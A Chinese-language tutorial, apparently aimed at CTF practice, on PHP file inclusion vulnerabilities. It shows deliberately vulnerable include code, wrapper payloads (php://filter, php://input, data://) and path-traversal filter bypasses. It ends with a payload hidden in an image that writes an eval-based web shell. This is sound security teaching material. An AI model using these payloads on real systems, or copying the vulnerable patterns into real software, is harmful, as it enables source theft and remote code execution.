什么是文件包含漏洞

什么是文件包含？
为了更好地使用代码的 重用性 ，引入了文件包含函数，可以通过文件包含函数将文件包含进来，直接使用包含文件的代码。
文件包含分为本地文件包含和远程文件包含。
文件包含漏洞的成因是什么？
在包含文件时，为了灵活包含文件，将被包含文件设置为变量，通过动态变量来引入需要包含的文件时，用户可以对变量的值进行改变，而服务器端未对变量的值进行合理性校验或者检验被绕过，这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。

<?php
	$file = $_GET['file'];
	include($file);
?>

文件包含函数

文件包含：
include;
include_once;
require;
require_once;
文件读取：
highlight_file,show_source,readfile,file_get_contents,fopen,file

include ，有返回值，如果改函数包含的文件路径有误，不影响下面代码的执行
require，无返回值，如果改函数包含的文件路径有误，会中断下面代码的执行

协议	用法
file://	?file=file://D:soft/phpStudy/www/phpcode.txt
php://filter	?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input	?file=php://input [POST DATA] <?php phpinfo();?>
zip://	?file=zip:///D:soft/phpStudy/www/file.zip%23phpcode.txt
compress.bzip2://	?file=compress.bzip2:///D:soft/phpStudy/www/file.bz2 [or] ?file=compress.bzip2://./file.bz2
compress.zlib://	?file=compress.zlib://D:soft/phpStudy/www/file.gz [or] ?file=compress.zlib://./file.gz
data://	?file=data://text/plain,<?php phpinfo();?> [or] ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= [or] file=data:text/plain,<?php phpinfo();?> [or] ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

说明：

1	include("includes/".$_GET['page'].".php");

可以构造url

1	http://192.168.0.5/?page=../flag.php%00

if(substr($_GET['page'],-4,4) != '.php')   //取后缀名
	echo file_get_contents($_GET['page']);
else
	echo 'You are not allow to see source files!';

可以构造url

1
2
3

http://192.168.0.5/?page=../flag.php.
或
http://192.168.0.5/?page=../flag.php./

1 2	$path = 'includes/class_'.addslashes($_GET['class']).'.php'; echo file_get_contents($path);

可以构造url

1	http://192.168.0.5/?class=../flag

$file = str_replace('../','',$_GET['file']);
if(isset($file))
	include("pages/$file");
else
	include("index.php");

可以构造url

1	http://192.168.0.5/?file=..././flag.php

1	include($_POST["page"]);

可以利用hackbar添加POST参数

page=../image.jpg

在image.jpg中写入
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['a'])?>');?>